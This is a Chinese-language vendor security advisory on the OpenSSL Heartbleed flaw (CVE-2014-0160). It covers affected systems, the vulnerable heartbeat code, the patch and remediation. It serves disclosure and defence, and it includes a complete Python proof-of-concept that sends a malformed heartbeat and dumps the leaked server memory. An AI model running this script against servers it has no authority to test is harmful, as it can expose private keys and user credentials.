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安全通告

CVE-2014-0160 OpenSSL TLS漏洞分析报告

时间:2014-04-16
1.       漏洞信息
OpenSSL在处理TLS心跳扩展包存在安全缺陷,让攻击者能够直接读取服务器的部分内存,进而可能导致私钥,用户名密码等重要信息的泄露。网御星云Power V系列安全网关产品及时进行了攻击特征库升级,升级后产品可对基于该漏洞的攻击行为进行有效检测和阻断,请相关用户尽快到官方网站下载升级包进行升级,以规避风险;
升级包下载地址为:http://onlineupdate.leadsec.com.cn;
 漏洞名称:
OpenSSL TLS信息泄露漏洞
CVE编号:
CVE-2014-0160
受影响系统:
Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4 Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11 CentOS 6.5, OpenSSL 1.0.1e-15 Fedora 18, OpenSSL 1.0.1e-4 OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012) FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013 NetBSD 5.0.2 (OpenSSL 1.0.1e) OpenSUSE 12.2 (OpenSSL 1.0.1c)
受影响软件:
OpenSSL 1.0.1 1.0.1f(含)
漏洞发布时间:
2014-04-07
漏洞来源信息:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
http://www.exploit-db.com/exploits/32745/
漏洞类型:                                   
内存泄漏
2.       漏洞产生原因
SSLv3 record结构定义如下所示:
typedef struct ssl3_record_st
    {
        int type;               /* type of record */
        unsigned int length;    /* How many bytes available */
        unsigned int off;       /* read/write offset into 'buf' */
        unsigned char *data;    /* pointer to the record data */
        unsigned char *input;   /* where the decode bytes are */
        unsigned char *comp;    /* only used with decompression - malloc()ed */
        unsigned long epoch;    /* epoch number, needed by DTLS1 */
        unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */
    } SSL3_RECORD;
程序对心跳包的处理如下:
int dtls1_process_heartbeat(SSL *s)
{         
    unsigned char *p = &s->s3->rrec.data[0], *pl;
    unsigned short hbtype;
    unsigned int payload;
    unsigned int padding = 16; /* Use minimum padding */
 
    /* Read type and payload length first */
    hbtype = *p++;
    n2s(p, payload);
    pl = p;
 
    unsigned char *buffer, *bp;
    int r;
 
    /* Allocate memory for the response, size is 1 byte
    * message type, plus 2 bytes payload length, plus
    * payload, plus padding
    */
    buffer = OPENSSL_malloc(1 + 2 + payload + padding);
    bp = buffer;
 
    /* Enter response type, length and copy payload */
    *bp++ = TLS1_HB_RESPONSE;
    s2n(payload, bp);
    memcpy(bp, pl, payload);
 
}
在dtls1_process_heartbeat函数处理过程:
(1) 首先读取了数据包的长度payload;
(2) 根据数据包长度(1 + 2 + payload + padding)分配内存bp;
(3) 从接收缓存pl中拷贝payload大小的数据到bp中;
由于程序没有验证length字段值是否为数据包实际的大小,如果发送端伪造了一个畸形的length字段,使得length大于实际的数据包大小。那么在接收端拷贝payload时会越界访问相邻区域内存,从而导致内存泄漏。
3.       补丁
在修复补丁中,对length字段的有效性进行了验证。
/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
    return 0; /* silently discard */
hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
    return 0; /* silently discard per RFC 6520 sec. 4 */
pl = p;
 
4.       修复措施
(1)及时升级到OpenSSL 1.0.1g
(2)或者用-DOPENSSL_NO_HEARTBEATS选项重新编译OpenSSL
5.       自测
(1)用户可以通过http://possible.lv/tools/hb/ 检测web服务是否受影响。
(2)或使用如下py脚本进行检测。
#!/usr/bin/python
 
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
 
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
 
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
 
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
 
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
 
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
 
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print ' %04x: %-48s %s' % (b, hxdat, pdat)
    print
 
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
       
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
 
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
 
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
 
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
 
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
 
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
 
if __name__ == '__main__':
    main()
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